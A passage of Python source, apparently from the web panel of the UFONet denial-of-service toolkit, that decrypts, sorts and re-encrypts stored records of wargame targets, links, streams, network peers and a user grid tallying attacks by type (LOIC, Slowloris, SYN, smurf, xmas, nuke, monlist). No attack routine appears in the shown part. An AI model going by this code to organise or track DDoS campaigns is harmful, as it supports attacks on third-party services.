  3996. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3997. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  3998. if job_filter == "creation":
  3999. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4000. elif job_filter == "target":
  4001. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  4002. elif job_filter == "estimated":
  4003. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  4004. else:
  4005. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4006. for i in wargames_items:
  4007. wargames_creation = i[0]
  4008. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4009. self.encrypt(job_key, wargames_creation)
  4010. if self.encryptedtext:
  4011. wargames_creation = self.encryptedtext
  4012. self.encryptedtext = "" # clean encryptedtext buffer
  4013. wargames_target = str(i[1])
  4014. self.encrypt(job_key, wargames_target)
  4015. if self.encryptedtext:
  4016. wargames_target = self.encryptedtext
  4017. self.encryptedtext = "" # clean encryptedtext buffer
  4018. wargames_estimated = i[2]
  4019. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4020. self.encrypt(job_key, wargames_estimated)
  4021. if self.encryptedtext:
  4022. wargames_estimated = self.encryptedtext
  4023. self.encryptedtext = "" # clean encryptedtext buffer
  4024. l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
  4025. f.write(l + os.linesep)
  4026. f.close()
  4027. except:
  4028. pass
  4029. if page == "/cmd_job_filter_update":
  4030. if not os.path.exists('/tmp/out'):
  4031. open('/tmp/out', 'w').close()
  4032. with open('/tmp/out', 'r') as f:
  4033. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  4034. if page == "/cmd_link_filter":
  4035. try:
  4036. link_filter = pGet["filter"]
  4037. link_key = pGet["key"]
  4038. except:
  4039. link_filter = "creation"
  4040. link_key = str(self.crypto_key)
  4041. self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
  4042. nodec_text = "KEY?"
  4043. try:
  4044. links_items=[]
  4045. with open(self.links_file) as f:
  4046. ls = f.read().splitlines()
  4047. f.close()
  4048. f = open(self.links_file,"w")
  4049. for j in ls:
  4050. if links_msg_sep in j:
  4051. m = j.split(links_msg_sep)
  4052. link_creation = m[0] # creation date
  4053. self.decrypt(link_key, link_creation)
  4054. if self.decryptedtext:
  4055. link_creation = self.decryptedtext
  4056. else:
  4057. link_creation = nodec_text
  4058. self.decryptedtext = "" # clean decryptedtext buffer
  4059. link_url = m[1] # url
  4060. self.decrypt(link_key, link_url)
  4061. if self.decryptedtext:
  4062. link_url = self.decryptedtext
  4063. if link_url.startswith("www."):
  4064. link_url = link_url.replace("www.","")
  4065. else:
  4066. link_url = nodec_text
  4067. self.decryptedtext = "" # clean decryptedtext buffer
  4068. link_topic = m[2] # topic
  4069. self.decrypt(link_key, link_topic)
  4070. if self.decryptedtext:
  4071. link_topic = self.decryptedtext
  4072. else:
  4073. link_topic = nodec_text
  4074. self.decryptedtext = "" # clean decryptedtext buffer
  4075. link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
  4076. links_items.append([link_creation,link_url,link_topic])
  4077. if link_filter == "creation":
  4078. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4079. elif link_filter == "url":
  4080. links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
  4081. elif link_filter == "topic":
  4082. links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
  4083. else:
  4084. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4085. for i in links_items:
  4086. link_creation = i[0]
  4087. link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
  4088. self.encrypt(link_key, link_creation)
  4089. if self.encryptedtext:
  4090. link_creation = self.encryptedtext
  4091. else:
  4092. link_creation = nodec_text
  4093. self.encryptedtext = "" # clean encryptedtext buffer
  4094. link_url = str(i[1])
  4095. self.encrypt(link_key, link_url)
  4096. if self.encryptedtext:
  4097. link_url = self.encryptedtext
  4098. else:
  4099. link_url = nodec_text
  4100. self.encryptedtext = "" # clean encryptedtext buffer
  4101. link_topic = str(i[2])
  4102. self.encrypt(link_key, link_topic)
  4103. if self.encryptedtext:
  4104. link_topic = self.encryptedtext
  4105. else:
  4106. link_topic = nodec_text
  4107. self.encryptedtext = "" # clean encryptedtext buffer
  4108. l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
  4109. f.write(l + os.linesep)
  4110. f.close()
  4111. except:
  4112. pass
  4113. if page == "/cmd_link_filter_update":
  4114. if not os.path.exists('/tmp/out'):
  4115. open('/tmp/out', 'w').close()
  4116. with open('/tmp/out', 'r') as f:
  4117. self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
  4118. if page == "/cmd_stream_filter":
  4119. try:
  4120. stream_filter = pGet["filter"]
  4121. stream_key = pGet["key"]
  4122. except:
  4123. stream_filter = "creation"
  4124. stream_key = str(self.crypto_key)
  4125. self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
  4126. nodec_text = "KEY?"
  4127. try:
  4128. streams_items=[]
  4129. with open(self.streams_file) as f:
  4130. ls = f.read().splitlines()
  4131. f.close()
  4132. f = open(self.streams_file,"w")
  4133. for j in ls:
  4134. if streams_msg_sep in j:
  4135. m = j.split(streams_msg_sep)
  4136. stream_creation = m[0] # creation date
  4137. self.decrypt(stream_key, stream_creation)
  4138. if self.decryptedtext:
  4139. stream_creation = self.decryptedtext
  4140. else:
  4141. stream_creation = nodec_text
  4142. self.decryptedtext = "" # clean decryptedtext buffer
  4143. stream_url = m[1] # url
  4144. self.decrypt(stream_key, stream_url)
  4145. if self.decryptedtext:
  4146. stream_url = self.decryptedtext
  4147. if stream_url.startswith("www."):
  4148. stream_url = stream_url.replace("www.","")
  4149. else:
  4150. stream_url = nodec_text
  4151. self.decryptedtext = "" # clean decryptedtext buffer
  4152. stream_topic = m[2] # topic
  4153. self.decrypt(stream_key, stream_topic)
  4154. if self.decryptedtext:
  4155. stream_topic = self.decryptedtext
  4156. else:
  4157. stream_topic = nodec_text
  4158. self.decryptedtext = "" # clean decryptedtext buffer
  4159. stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
  4160. streams_items.append([stream_creation,stream_url,stream_topic])
  4161. if stream_filter == "creation":
  4162. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4163. elif stream_filter == "url":
  4164. streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
  4165. elif stream_filter == "topic":
  4166. streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
  4167. else:
  4168. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4169. for i in streams_items:
  4170. stream_creation = i[0]
  4171. stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
  4172. self.encrypt(stream_key, stream_creation)
  4173. if self.encryptedtext:
  4174. stream_creation = self.encryptedtext
  4175. else:
  4176. stream_creation = nodec_text
  4177. self.encryptedtext = "" # clean encryptedtext buffer
  4178. stream_url = str(i[1])
  4179. self.encrypt(stream_key, stream_url)
  4180. if self.encryptedtext:
  4181. stream_url = self.encryptedtext
  4182. else:
  4183. stream_url = nodec_text
  4184. self.encryptedtext = "" # clean encryptedtext buffer
  4185. stream_topic = str(i[2])
  4186. self.encrypt(stream_key, stream_topic)
  4187. if self.encryptedtext:
  4188. stream_topic = self.encryptedtext
  4189. else:
  4190. stream_topic = nodec_text
  4191. self.encryptedtext = "" # clean encryptedtext buffer
  4192. l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
  4193. f.write(l + os.linesep)
  4194. f.close()
  4195. except:
  4196. pass
  4197. if page == "/cmd_stream_filter_update":
  4198. if not os.path.exists('/tmp/out'):
  4199. open('/tmp/out', 'w').close()
  4200. with open('/tmp/out', 'r') as f:
  4201. self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
  4202. if page == "/cmd_globalnet_filter":
  4203. try:
  4204. globalnet_filter = pGet["filter"]
  4205. globalnet_key = pGet["key"]
  4206. except:
  4207. globalnet_filter = "owner"
  4208. globalnet_key = str(self.crypto_key)
  4209. self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
  4210. nodec_text = "KEY?"
  4211. try:
  4212. globalnet_items=[]
  4213. with open(self.globalnet_file) as f:
  4214. ls = f.read().splitlines()
  4215. f.close()
  4216. f = open(self.globalnet_file,"w")
  4217. for j in ls:
  4218. if globalnet_msg_sep in j:
  4219. m = j.split(globalnet_msg_sep)
  4220. globalnet_owner = m[0] # owner
  4221. self.decrypt(globalnet_key, globalnet_owner)
  4222. if self.decryptedtext:
  4223. globalnet_owner = self.decryptedtext
  4224. else:
  4225. globalnet_owner = nodec_text
  4226. self.decryptedtext = "" # clean decryptedtext buffer
  4227. globalnet_comment = m[1] # comment
  4228. self.decrypt(globalnet_key, globalnet_comment)
  4229. if self.decryptedtext:
  4230. globalnet_comment = self.decryptedtext
  4231. else:
  4232. globalnet_comment = nodec_text
  4233. self.decryptedtext = "" # clean decryptedtext buffer
  4234. globalnet_warp = m[2] # warp
  4235. self.decrypt(globalnet_key, globalnet_warp)
  4236. if self.decryptedtext:
  4237. globalnet_warp = self.decryptedtext
  4238. else:
  4239. globalnet_warp = nodec_text
  4240. self.decryptedtext = "" # clean decryptedtext buffer
  4241. globalnet_ip = m[3] # ip
  4242. self.decrypt(globalnet_key, globalnet_ip)
  4243. if self.decryptedtext:
  4244. globalnet_ip = self.decryptedtext
  4245. else:
  4246. globalnet_ip = nodec_text
  4247. self.decryptedtext = "" # clean decryptedtext buffer
  4248. globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
  4249. if globalnet_filter == "owner":
  4250. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  4251. elif globalnet_filter == "comment":
  4252. globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
  4253. elif globalnet_filter == "warp":
  4254. globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
  4255. elif globalnet_filter == "ip":
  4256. globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
  4257. else:
  4258. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  4259. for i in globalnet_items:
  4260. globalnet_owner = str(i[0])
  4261. self.encrypt(globalnet_key, globalnet_owner)
  4262. if self.encryptedtext:
  4263. globalnet_owner = self.encryptedtext
  4264. else:
  4265. globalnet_owner = nodec_text
  4266. self.encryptedtext = "" # clean encryptedtext buffer
  4267. globalnet_comment = str(i[1])
  4268. self.encrypt(globalnet_key, globalnet_comment)
  4269. if self.encryptedtext:
  4270. globalnet_comment = self.encryptedtext
  4271. else:
  4272. globalnet_comment = nodec_text
  4273. self.encryptedtext = "" # clean encryptedtext buffer
  4274. globalnet_warp = str(i[2])
  4275. self.encrypt(globalnet_key, globalnet_warp)
  4276. if self.encryptedtext:
  4277. globalnet_warp = self.encryptedtext
  4278. else:
  4279. globalnet_warp = nodec_text
  4280. self.encryptedtext = "" # clean encryptedtext buffer
  4281. globalnet_ip = str(i[3])
  4282. self.encrypt(globalnet_key, globalnet_ip)
  4283. if self.encryptedtext:
  4284. globalnet_ip = self.encryptedtext
  4285. else:
  4286. globalnet_ip = nodec_text
  4287. self.encryptedtext = "" # clean encryptedtext buffer
  4288. l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
  4289. f.write(l + os.linesep)
  4290. f.close()
  4291. except:
  4292. pass
  4293. if page == "/cmd_globalnet_filter_update":
  4294. if not os.path.exists('/tmp/out'):
  4295. open('/tmp/out', 'w').close()
  4296. with open('/tmp/out', 'r') as f:
  4297. self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
  4298. if page == "/cmd_grid_filter":
  4299. try:
  4300. grid_filter = pGet["filter"]
  4301. grid_key = pGet["key"]
  4302. except:
  4303. grid_filter = "missions" # default grid order by
  4304. grid_key = str(self.crypto_key)
  4305. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  4306. nodec_text = "KEY?"
  4307. nodec_num = 0
  4308. try:
  4309. grid_items=[]
  4310. with open(self.grid_file) as f:
  4311. ls = f.read().splitlines()
  4312. f.close()
  4313. f = open(self.grid_file,"w")
  4314. for j in ls:
  4315. if grid_msg_sep in j:
  4316. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  4317. m = j.split(grid_msg_sep)
  4318. grid_nickname = m[0] # nickname
  4319. self.decrypt(grid_key, grid_nickname)
  4320. if self.decryptedtext:
  4321. grid_nickname = str(self.decryptedtext)
  4322. else:
  4323. grid_nickname = nodec_text
  4324. self.decryptedtext = "" # clean decryptedtext buffer
  4325. grid_ranking = m[1] # ranking
  4326. self.decrypt(grid_key, grid_ranking)
  4327. if self.decryptedtext:
  4328. try:
  4329. grid_ranking = int(self.decryptedtext)
  4330. except:
  4331. grid_ranking = nodec_num
  4332. else:
  4333. grid_ranking = nodec_num
  4334. self.decryptedtext = "" # clean decryptedtext buffer
  4335. grid_totalchargo = m[2] # total chargo
  4336. self.decrypt(grid_key, grid_totalchargo)
  4337. if self.decryptedtext:
  4338. try:
  4339. grid_totalchargo = int(self.decryptedtext)
  4340. except:
  4341. grid_totalchargo = nodec_num
  4342. else:
  4343. grid_totalchargo = nodec_num
  4344. self.decryptedtext = "" # clean decryptedtext buffer
  4345. grid_dorking = m[3] # dorking
  4346. self.decrypt(grid_key, grid_dorking)
  4347. if self.decryptedtext:
  4348. try:
  4349. grid_dorking = int(self.decryptedtext)
  4350. except:
  4351. grid_dorking = nodec_num
  4352. else:
  4353. grid_dorking = nodec_num
  4354. self.decryptedtext = "" # clean decryptedtext buffer
  4355. grid_transferred = m[4] # transferred
  4356. self.decrypt(grid_key, grid_transferred)
  4357. if self.decryptedtext:
  4358. try:
  4359. grid_transferred = int(self.decryptedtext)
  4360. except:
  4361. grid_transferred = nodec_num
  4362. else:
  4363. grid_transferred = nodec_num
  4364. self.decryptedtext = "" # clean decryptedtext buffer
  4365. grid_maxchargo = m[5] # maxchargo
  4366. self.decrypt(grid_key, grid_maxchargo)
  4367. if self.decryptedtext:
  4368. try:
  4369. grid_maxchargo = int(self.decryptedtext)
  4370. except:
  4371. grid_maxchargo = nodec_num
  4372. else:
  4373. grid_maxchargo = nodec_num
  4374. self.decryptedtext = "" # clean decryptedtext buffer
  4375. grid_missions = m[6] # missions
  4376. self.decrypt(grid_key, grid_missions)
  4377. if self.decryptedtext:
  4378. try:
  4379. grid_missions = int(self.decryptedtext)
  4380. except:
  4381. grid_missions = nodec_num
  4382. else:
  4383. grid_missions = nodec_num
  4384. self.decryptedtext = "" # clean decryptedtext buffer
  4385. grid_attacks = m[7] # attacks
  4386. self.decrypt(grid_key, grid_attacks)
  4387. if self.decryptedtext:
  4388. try:
  4389. grid_attacks = int(self.decryptedtext)
  4390. except:
  4391. grid_attacks = nodec_num
  4392. else:
  4393. grid_attacks = nodec_num
  4394. self.decryptedtext = "" # clean decryptedtext buffer
  4395. grid_loic = m[8] # loic
  4396. self.decrypt(grid_key, grid_loic)
  4397. if self.decryptedtext:
  4398. try:
  4399. grid_loic = int(self.decryptedtext)
  4400. except:
  4401. grid_loic = nodec_num
  4402. else:
  4403. grid_loic = nodec_num
  4404. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  4405. grid_loris = m[9] # loris
  4406. self.decrypt(grid_key, grid_loris)
  4407. if self.decryptedtext:
  4408. try:
  4409. grid_loris = int(self.decryptedtext)
  4410. except:
  4411. grid_loris = nodec_num
  4412. else:
  4413. grid_loris = nodec_num
  4414. self.decryptedtext = "" # clean decryptedtext buffer
  4415. else:
  4416. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  4417. self.decrypt(grid_key, grid_loris)
  4418. if self.decryptedtext:
  4419. try:
  4420. grid_loris = int(self.decryptedtext)
  4421. except:
  4422. grid_loris = nodec_num
  4423. else:
  4424. grid_loris = nodec_num
  4425. self.decryptedtext = "" # clean decryptedtext buffer
  4426. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  4427. grid_ufosyn = m[10] # ufosyn
  4428. self.decrypt(grid_key, grid_ufosyn)
  4429. if self.decryptedtext:
  4430. try:
  4431. grid_ufosyn = int(self.decryptedtext)
  4432. except:
  4433. grid_ufosyn = nodec_num
  4434. else:
  4435. grid_ufosyn = nodec_num
  4436. self.decryptedtext = "" # clean decryptedtext buffer
  4437. else:
  4438. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4439. self.decrypt(grid_key, grid_ufosyn)
  4440. if self.decryptedtext:
  4441. try:
  4442. grid_ufosyn = int(self.decryptedtext)
  4443. except:
  4444. grid_ufosyn = nodec_num
  4445. else:
  4446. grid_ufosyn = nodec_num
  4447. self.decryptedtext = "" # clean decryptedtext buffer
  4448. if version > 17 or version == 17 or version == 16 or version == 15:
  4449. grid_spray = m[11] # spray
  4450. self.decrypt(grid_key, grid_spray)
  4451. if self.decryptedtext:
  4452. try:
  4453. grid_spray = int(self.decryptedtext)
  4454. except:
  4455. grid_spray = nodec_num
  4456. else:
  4457. grid_spray = nodec_num
  4458. self.decryptedtext = "" # clean decryptedtext buffer
  4459. else:
  4460. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4461. self.decrypt(grid_key, grid_spray)
  4462. if self.decryptedtext:
  4463. try:
  4464. grid_spray = int(self.decryptedtext)
  4465. except:
  4466. grid_spray = nodec_num
  4467. else:
  4468. grid_spray = nodec_num
  4469. self.decryptedtext = "" # clean decryptedtext buffer
  4470. if version > 17 or version == 17 or version == 16 or version == 15:
  4471. grid_smurf = m[12] # smurf
  4472. self.decrypt(grid_key, grid_smurf)
  4473. if self.decryptedtext:
  4474. try:
  4475. grid_smurf = int(self.decryptedtext)
  4476. except:
  4477. grid_smurf = nodec_num
  4478. else:
  4479. grid_smurf = nodec_num
  4480. self.decryptedtext = "" # clean decryptedtext buffer
  4481. else:
  4482. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4483. self.decrypt(grid_key, grid_smurf)
  4484. if self.decryptedtext:
  4485. try:
  4486. grid_smurf = int(self.decryptedtext)
  4487. except:
  4488. grid_smurf = nodec_num
  4489. else:
  4490. grid_smurf = nodec_num
  4491. self.decryptedtext = "" # clean decryptedtext buffer
  4492. if version > 17 or version == 17 or version == 16 or version == 15:
  4493. grid_xmas = m[13] # xmas
  4494. self.decrypt(grid_key, grid_xmas)
  4495. if self.decryptedtext:
  4496. try:
  4497. grid_xmas = int(self.decryptedtext)
  4498. except:
  4499. grid_xmas = nodec_num
  4500. else:
  4501. grid_xmas = nodec_num
  4502. self.decryptedtext = "" # clean decryptedtext buffer
  4503. else:
  4504. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4505. self.decrypt(grid_key, grid_xmas)
  4506. if self.decryptedtext:
  4507. try:
  4508. grid_xmas = int(self.decryptedtext)
  4509. except:
  4510. grid_xmas = nodec_num
  4511. else:
  4512. grid_xmas = nodec_num
  4513. self.decryptedtext = "" # clean decryptedtext buffer
  4514. if version > 17 or version == 17 or version == 16:
  4515. grid_nuke = m[14] # nuke
  4516. self.decrypt(grid_key, grid_nuke)
  4517. if self.decryptedtext:
  4518. try:
  4519. grid_nuke = int(self.decryptedtext)
  4520. except:
  4521. grid_nuke = nodec_num
  4522. else:
  4523. grid_nuke = nodec_num
  4524. self.decryptedtext = "" # clean decryptedtext buffer
  4525. else:
  4526. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4527. self.decrypt(grid_key, grid_nuke)
  4528. if self.decryptedtext:
  4529. try:
  4530. grid_nuke = int(self.decryptedtext)
  4531. except:
  4532. grid_nuke = nodec_num
  4533. else:
  4534. grid_nuke = nodec_num
  4535. self.decryptedtext = "" # clean decryptedtext buffer
  4536. if version > 17 or version == 17:
  4537. grid_tachyon = m[15] # tachyon
  4538. self.decrypt(grid_key, grid_tachyon)
  4539. if self.decryptedtext:
  4540. try:
  4541. grid_tachyon = int(self.decryptedtext)
  4542. except:
  4543. grid_tachyon = nodec_num
  4544. else:
  4545. grid_tachyon = nodec_num
  4546. self.decryptedtext = "" # clean decryptedtext buffer
  4547. else:
  4548. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  4549. self.decrypt(grid_key, grid_tachyon)
  4550. if self.decryptedtext:
  4551. try:
  4552. grid_tachyon = int(self.decryptedtext)
  4553. except:
  4554. grid_tachyon = nodec_num
  4555. else:
  4556. grid_tachyon = nodec_num
  4557. self.decryptedtext = "" # clean decryptedtext buffer
  4558. if version > 17:
  4559. grid_monlist = m[16] # monlist
  4560. self.decrypt(grid_key, grid_monlist)
  4561. if self.decryptedtext:
  4562. try:
  4563. grid_monlist = int(self.decryptedtext)
  4564. except:
  4565. grid_monlist = nodec_num
  4566. else:
  4567. grid_monlist = nodec_num
  4568. self.decryptedtext = "" # clean decryptedtext buffer
  4569. else:
  4570. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  4571. self.decrypt(grid_key, grid_monlist)
  4572. if self.decryptedtext:
  4573. try:
  4574. grid_monlist = int(self.decryptedtext)
  4575. except:
  4576. grid_monlist = nodec_num
  4577. else:
  4578. grid_monlist = nodec_num
  4579. self.decryptedtext = "" # clean decryptedtext buffer
  4580. if version > 17:
  4581. grid_contact = m[17] # contact
  4582. self.decrypt(grid_key, grid_contact)
  4583. if self.decryptedtext:
  4584. grid_contact = self.decryptedtext
  4585. else:
  4586. grid_contact = nodec_text
  4587. self.decryptedtext = "" # clean decryptedtext buffer
  4588. grid_id = m[18] # id
  4589. elif version == 17:
  4590. grid_contact = m[16] # contact
  4591. self.decrypt(grid_key, grid_contact)
  4592. if self.decryptedtext:
  4593. grid_contact = self.decryptedtext
  4594. else:
  4595. grid_contact = nodec_text
  4596. self.decryptedtext = "" # clean decryptedtext buffer
  4597. grid_id = m[17] # id
  4598. elif version == 16:
  4599. grid_contact = m[15] # contact
  4600. self.decrypt(grid_key, grid_contact)
  4601. if self.decryptedtext:
  4602. grid_contact = self.decryptedtext
  4603. else:
  4604. grid_contact = nodec_text
  4605. self.decryptedtext = "" # clean decryptedtext buffer
  4606. grid_id = m[16] # id
  4607. elif version == 15:
  4608. grid_contact = m[14] # contact
  4609. self.decrypt(grid_key, grid_contact)
  4610. if self.decryptedtext:
  4611. grid_contact = self.decryptedtext
  4612. else:
  4613. grid_contact = nodec_text
  4614. self.decryptedtext = "" # clean decryptedtext buffer
  4615. grid_id = m[15] # id
  4616. elif version == 12:
  4617. grid_contact = m[11] # contact
  4618. self.decrypt(grid_key, grid_contact)
  4619. if self.decryptedtext:
  4620. grid_contact = self.decryptedtext
  4621. else:
  4622. grid_contact = nodec_text
  4623. self.decryptedtext = "" # clean decryptedtext buffer
  4624. grid_id = m[12] # id
  4625. elif version == 11:
  4626. grid_contact = m[10] # contact
  4627. self.decrypt(grid_key, grid_contact)
  4628. if self.decryptedtext:
  4629. grid_contact = self.decryptedtext
  4630. else:
  4631. grid_contact = nodec_text
  4632. self.decryptedtext = "" # clean decryptedtext buffer
  4633. grid_id = m[11] # id
  4634. elif version == 10:
  4635. grid_contact = m[9] # contact
  4636. self.decrypt(grid_key, grid_contact)
  4637. if self.decryptedtext:
  4638. grid_contact = self.decryptedtext
  4639. else:
  4640. grid_contact = nodec_text
  4641. self.decryptedtext = "" # clean decryptedtext buffer
  4642. grid_id = m[10] # id
  4643. else:
  4644. grid_contact = nodec_text
  4645. grid_id = '6666666666666666666666666666666666666' # fake id
  4646. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),str(grid_contact),str(grid_id)])
  4647. if grid_filter == "nickname":
  4648. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  4649. elif grid_filter == "ranking":
  4650. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  4651. elif grid_filter == "chargo":
  4652. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  4653. elif grid_filter == "dorking":
  4654. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  4655. elif grid_filter == "transferred":
  4656. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  4657. elif grid_filter == "maxchargo":
  4658. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  4659. elif grid_filter == "missions":
  4660. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  4661. elif grid_filter == "attacks":
  4662. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  4663. elif grid_filter == "loic":
  4664. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  4665. elif grid_filter == "loris":
  4666. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  4667. elif grid_filter == "ufosyn":
  4668. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  4669. elif grid_filter == "spray":
  4670. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  4671. elif grid_filter == "smurf":
  4672. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  4673. elif grid_filter == "xmas":
  4674. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  4675. elif grid_filter == "nuke":
  4676. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  4677. elif grid_filter == "tachyon":
  4678. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  4679. elif grid_filter == "monlist":
  4680. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  4681. elif grid_filter == "contact":
  4682. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by contact
  4683. else:
  4684. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  4685. for i in grid_items:
  4686. grid_nickname = str(i[0])
  4687. self.encrypt(grid_key, grid_nickname)
  4688. if self.encryptedtext:
  4689. grid_nickname = self.encryptedtext
  4690. self.encryptedtext = "" # clean encryptedtext buffer
  4691. grid_ranking = str(i[1])
  4692. self.encrypt(grid_key, grid_ranking)
  4693. if self.encryptedtext:
  4694. grid_ranking = self.encryptedtext
  4695. self.encryptedtext = "" # clean encryptedtext buffer
  4696. grid_totalchargo = str(i[2])
  4697. self.encrypt(grid_key, grid_totalchargo)
  4698. if self.encryptedtext:
  4699. grid_totalchargo = self.encryptedtext
  4700. self.encryptedtext = "" # clean encryptedtext buffer
  4701. grid_dorking = str(i[3])
  4702. self.encrypt(grid_key, grid_dorking)
  4703. if self.encryptedtext:
  4704. grid_dorking = self.encryptedtext
  4705. self.encryptedtext = "" # clean encryptedtext buffer
  4706. grid_transferred = str(i[4])
  4707. self.encrypt(grid_key, grid_transferred)
  4708. if self.encryptedtext:
  4709. grid_transferred = self.encryptedtext
  4710. self.encryptedtext = "" # clean encryptedtext buffer
  4711. grid_maxchargo = str(i[5])
  4712. self.encrypt(grid_key, grid_maxchargo)
  4713. if self.encryptedtext:
  4714. grid_maxchargo = self.encryptedtext
  4715. self.encryptedtext = "" # clean encryptedtext buffer
  4716. grid_missions = str(i[6])
  4717. self.encrypt(grid_key, grid_missions)
  4718. if self.encryptedtext:
  4719. grid_missions = self.encryptedtext
  4720. self.encryptedtext = "" # clean encryptedtext buffer
  4721. grid_attacks = str(i[7])
  4722. self.encrypt(grid_key, grid_attacks)
  4723. if self.encryptedtext:
  4724. grid_attacks = self.encryptedtext
  4725. self.encryptedtext = "" # clean encryptedtext buffer
  4726. grid_loic = str(i[8])
  4727. self.encrypt(grid_key, grid_loic)
  4728. if self.encryptedtext:
  4729. grid_loic = self.encryptedtext
  4730. self.encryptedtext = "" # clean encryptedtext buffer
  4731. grid_loris = str(i[9])
  4732. self.encrypt(grid_key, grid_loris)
  4733. if self.encryptedtext:
  4734. grid_loris = self.encryptedtext
  4735. self.encryptedtext = "" # clean encryptedtext buffer
  4736. grid_ufosyn = str(i[10])
  4737. self.encrypt(grid_key, grid_ufosyn)
  4738. if self.encryptedtext:
  4739. grid_ufosyn = self.encryptedtext
  4740. self.encryptedtext = "" # clean encryptedtext buffer
  4741. grid_spray = str(i[11])
  4742. self.encrypt(grid_key, grid_spray)
  4743. if self.encryptedtext:
  4744. grid_spray = self.encryptedtext
  4745. self.encryptedtext = "" # clean encryptedtext buffer
  4746. grid_smurf = str(i[12])
